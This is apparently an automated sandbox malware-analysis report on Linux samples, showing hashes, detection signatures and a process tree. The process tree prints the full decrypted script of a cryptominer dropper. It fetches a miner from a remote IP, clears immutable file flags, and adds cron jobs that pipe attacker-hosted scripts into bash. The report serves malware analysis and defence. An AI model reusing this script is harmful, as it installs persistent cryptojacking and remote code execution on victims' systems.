Overview
overview
10Static
static
10样本/Lin...9DC1D8
ubuntu-18.04-amd64
7样本/Lin...B36C5B
ubuntu-24.04-amd64
6样本/Lin...E3B383
ubuntu-24.04-amd64
8样本/Lin...6F5973
ubuntu-22.04-amd64
1样本/Lin...776DB8
ubuntu-18.04-amd64
1样本/Lin...776DB8
debian-9-armhf
1样本/Lin...776DB8
debian-9-mips
1样本/Lin...776DB8
debian-9-mipsel
1样本/Lin...C9A3F7
ubuntu-18.04-amd64
6样本/Lin...C9A3F7
debian-9-armhf
6样本/Lin...C9A3F7
debian-9-mips
6样本/Lin...C9A3F7
debian-9-mipsel
6样本/Lin...FECBE5
ubuntu-22.04-amd64
101AAF1A9F78...31.tar
windows7-x64
11AAF1A9F78...31.tar
windows10-2004-x64
1xrx/chattr
ubuntu-24.04-amd64
1xrx/init.sh
ubuntu-22.04-amd64
6xrx/init0
ubuntu-24.04-amd64
8xrx/scp
ubuntu-18.04-amd64
1xrx/scp
debian-9-armhf
1xrx/scp
debian-9-mips
1xrx/scp
debian-9-mipsel
1xrx/secure
ubuntu-24.04-amd64
7xrx/uninstall.sh
ubuntu-18.04-amd64
6xrx/uninstall.sh
debian-9-armhf
6xrx/uninstall.sh
debian-9-mips
6xrx/uninstall.sh
debian-9-mipsel
6xrx/xrx
ubuntu-18.04-amd64
6Analysis
-
max time kernel
10s -
max time network
130s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
26-11-2024 12:41
Behavioral task
behavioral1
Sample
样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
样本/Linux/shc加密脚本/42693670C71A529A11E81943F5B36C5B
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral3
Sample
样本/Linux/shc加密脚本/73F9917255A953EB749F5A3C90E3B383
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral4
Sample
样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F5973
Resource
ubuntu2204-amd64-20240729-en
Behavioral task
behavioral5
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral6
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral7
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral8
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral9
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral10
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral11
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral12
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral13
Sample
样本/Linux/挖矿程序/9D099882A24757AC5033B0C675FECBE5
Resource
ubuntu2204-amd64-20240729-en
Behavioral task
behavioral14
Sample
1AAF1A9F7877DC2C899D910A52F67F31.tar
Resource
win7-20240903-en
Behavioral task
behavioral15
Sample
1AAF1A9F7877DC2C899D910A52F67F31.tar
Resource
win10v2004-20241007-en
Behavioral task
behavioral16
Sample
xrx/chattr
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral17
Sample
xrx/init.sh
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral18
Sample
xrx/init0
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral19
Sample
xrx/scp
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral20
Sample
xrx/scp
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral21
Sample
xrx/scp
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral22
Sample
xrx/scp
Resource
debian9-mipsel-20240418-en
Behavioral task
behavioral23
Sample
xrx/secure
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral24
Sample
xrx/uninstall.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral25
Sample
xrx/uninstall.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral26
Sample
xrx/uninstall.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral27
Sample
xrx/uninstall.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
-
Size
1023KB
-
MD5
069ad3938c3f9c049f670a8eb49dc1d8
-
SHA1
f4fd0c87a18d45ab4b642f32a94673c949ab7caf
-
SHA256
84d4b99f0d98900b4eadb7e107bf54196f2e5796d8707ebf0dcd76f5b6693295
-
SHA512
3c627883f53082face65b22d353c1926c4d4f4de008cf41cf2a3326762ad080dd95324f2fd35c3f60c069df4fb2c510d4fa07b26cbc404678f8a655c884beedb
-
SSDEEP
12288:SBgtRmLBGYhFcueTIqRe/w/Yt6myOP7/x7L15k7bKrHNq9EnE:SQRmLBTFcueTIie/wgB/x7LFLNq9
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1531 chmod 1544 chmod 1510 bash -
Attempts to change immutable files 4 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 1517 chattr 1518 chattr 1533 chattr 1534 chattr -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/crontab bash -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 2 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep -
description ioc Process File opened for reading /proc/12/cmdline pgrep File opened for reading /proc/481/cmdline pgrep File opened for reading /proc/1508/cmdline pgrep File opened for reading /proc/672/cmdline pgrep File opened for reading /proc/175/cmdline pgrep File opened for reading /proc/963/cmdline pgrep File opened for reading /proc/1549/status pgrep File opened for reading /proc/34/cmdline pgrep File opened for reading /proc/14/status pgrep File opened for reading /proc/84/cmdline pgrep File opened for reading /proc/204/cmdline pgrep File opened for reading /proc/1135/status pgrep File opened for reading /proc/13/cmdline pgrep File opened for reading /proc/654/status pgrep File opened for reading /proc/1236/cmdline pgrep File opened for reading /proc/1337/cmdline pgrep File opened for reading /proc/22/status pgrep File opened for reading /proc/9/status pgrep File opened for reading /proc/79/cmdline pgrep File opened for reading /proc/418/cmdline pgrep File opened for reading /proc/1078/status pgrep File opened for reading /proc/filesystems ls File opened for reading /proc/658/status pgrep File opened for reading /proc/972/status pgrep File opened for reading /proc/546/cmdline pgrep File opened for reading /proc/555/status pgrep File opened for reading /proc/605/status pgrep File opened for reading /proc/1017/cmdline pgrep File opened for reading /proc/1337/status pgrep File opened for reading /proc/1355/status pgrep File opened for reading /proc/420/cmdline pgrep File opened for reading /proc/1549/cmdline pgrep File opened for reading /proc/15/cmdline pgrep File opened for reading /proc/1139/status pgrep File opened for reading /proc/1148/status pgrep File opened for reading /proc/1167/status pgrep File opened for reading /proc/10/cmdline pgrep File opened for reading /proc/1315/status pgrep File opened for reading /proc/1508/status pgrep File opened for reading /proc/16/status pgrep File opened for reading /proc/170/status pgrep File opened for reading /proc/1118/status pgrep File opened for reading /proc/1103/cmdline pgrep File opened for reading /proc/1157/status pgrep File opened for reading /proc/1090/status pgrep File opened for reading /proc/415/cmdline pgrep File opened for reading /proc/1042/cmdline pgrep File opened for reading /proc/1313/cmdline pgrep File opened for reading /proc/10/cmdline pgrep File opened for reading /proc/162/status pgrep File opened for reading /proc/420/status pgrep File opened for reading /proc/501/status pgrep File opened for reading /proc/546/status pgrep File opened for reading /proc/167/status pgrep File opened for reading /proc/32/cmdline pgrep File opened for reading /proc/34/status pgrep File opened for reading /proc/1313/status pgrep File opened for reading /proc/1504/cmdline pgrep File opened for reading /proc/25/cmdline pgrep File opened for reading /proc/418/cmdline pgrep File opened for reading /proc/1199/status pgrep File opened for reading /proc/485/cmdline pgrep File opened for reading /proc/1305/status pgrep File opened for reading /proc/28/cmdline pgrep
Processes
-
/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D81⤵PID:1510
-
/bin/bash/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8 -c "exec '/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8' \"\$@\"" /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D81⤵PID:1510
-
/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D81⤵PID:1510
-
/bin/bash/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8 -c " #!/bin/bash ifrunning=\$(pgrep xrx) ######################## ######################## downloadminer(){ link1=\"http://185.252.178.82:6972/xrx/xrx\" link2=\"http://185.252.178.82:6972/configs/config-xrx.json\" mkdir /var/tmp/.xrx cd /var/tmp/.xrx/ chattr -ia /var/tmp/.xrx/xrx chattr -ia /var/tmp/.xrx/config.json rm -rf /var/tmp/.xrx/xrx rm -rf /var/tmp/.xrx/config.json curl -L -O \$link1 || cd1 -L -O \$link1 || wget \$link1 --no-check-certificate curl -L -O \$link2 || cd1 -L -O \$link2 || wget \$link2 --no-check-certificate mv config-xrx.json config.json chmod +x /var/tmp/.xrx/xrx } ######################## ######################## crontablegend(){ if (( \$EUID != 0 )); then if ! crontab -l | grep -q 'secure'; then cd /dev/shm rm -rf /dev/shm/.spark echo \"@daily /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"@reboot /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"1 * * * * /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"*/30 * * * * curl 185.252.178.82:1011/next | bash \" >> .spark sleep 1 echo \"*/30 * * * * curl load.whitesnake.church:1011/next | bash \" >> .spark sleep 1 crontab .spark sleep 2 rm -rf /dev/shm/.spark fi fi if (( \$EUID == 0 )); then if ! cat /etc/crontab | grep -q 'secure'; then echo \"@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"*/30 * * * * root curl 185.252.178.82:1011/next | bash \" >> /etc/crontab echo \"*/30 * * * * root curl load.whitesnake.church:1011/next | bash \" >> /etc/crontab fi fi } ######################## ######################## gettingmineru(){ fsiz=`ls -l /var/tmp/.xrx/xrx | awk '{print \$5}'` if [ -f /var/tmp/.xrx/xrx ]; then echo \"miner intact\" else echo \"miner not found,downloading...\" downloadminer fi if [[ \"\$fsiz\" -gt 0 ]]; then echo \"miner size intact\" else echo \"filesize 0,downloading...\" downloadminer fi } ######################## ######################## gettingmineru crontablegend if test -z \"\$ifrunning\" ; then echo \"xrx not running,starting...\" /var/tmp/.xrx/xrx </dev/null &>/dev/null & disown -h %1 sleep 1 echo -e \"pid:\" pgrep xrx fi " /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D81⤵
- File and Directory Permissions Modification
- Creates/modifies Cron job
PID:1510 -
/usr/bin/pgreppgrep xrx2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1512
-
-
/usr/bin/awkawk "{print \$5}"2⤵PID:1515
-
-
/bin/lsls -l /var/tmp/.xrx/xrx2⤵
- Reads runtime system information
PID:1514
-
-
/bin/mkdirmkdir /var/tmp/.xrx2⤵PID:1516
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/xrx2⤵
- Attempts to change immutable files
PID:1517
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/config.json2⤵
- Attempts to change immutable files
PID:1518
-
-
/bin/rmrm -rf /var/tmp/.xrx/xrx2⤵PID:1519
-
-
/bin/rmrm -rf /var/tmp/.xrx/config.json2⤵PID:1520
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/xrx/xrx2⤵PID:1521
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/xrx/xrx --no-check-certificate2⤵PID:1523
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/configs/config-xrx.json2⤵PID:1527
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/configs/config-xrx.json --no-check-certificate2⤵PID:1529
-
-
/bin/mvmv config-xrx.json config.json2⤵PID:1530
-
-
/bin/chmodchmod +x /var/tmp/.xrx/xrx2⤵
- File and Directory Permissions Modification
PID:1531
-
-
/bin/mkdirmkdir /var/tmp/.xrx2⤵PID:1532
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/xrx2⤵
- Attempts to change immutable files
PID:1533
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/config.json2⤵
- Attempts to change immutable files
PID:1534
-
-
/bin/rmrm -rf /var/tmp/.xrx/xrx2⤵PID:1535
-
-
/bin/rmrm -rf /var/tmp/.xrx/config.json2⤵PID:1536
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/xrx/xrx2⤵PID:1537
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/xrx/xrx --no-check-certificate2⤵PID:1539
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/configs/config-xrx.json2⤵PID:1540
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/configs/config-xrx.json --no-check-certificate2⤵PID:1542
-
-
/bin/mvmv config-xrx.json config.json2⤵PID:1543
-
-
/bin/chmodchmod +x /var/tmp/.xrx/xrx2⤵
- File and Directory Permissions Modification
PID:1544
-
-
/bin/grepgrep -q secure2⤵PID:1546
-
-
/bin/catcat /etc/crontab2⤵PID:1545
-
-
/bin/sleepsleep 12⤵PID:1548
-
-
/var/tmp/.xrx/xrx/var/tmp/.xrx/xrx2⤵PID:1547
-
-
/usr/bin/pgreppgrep xrx2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1549
-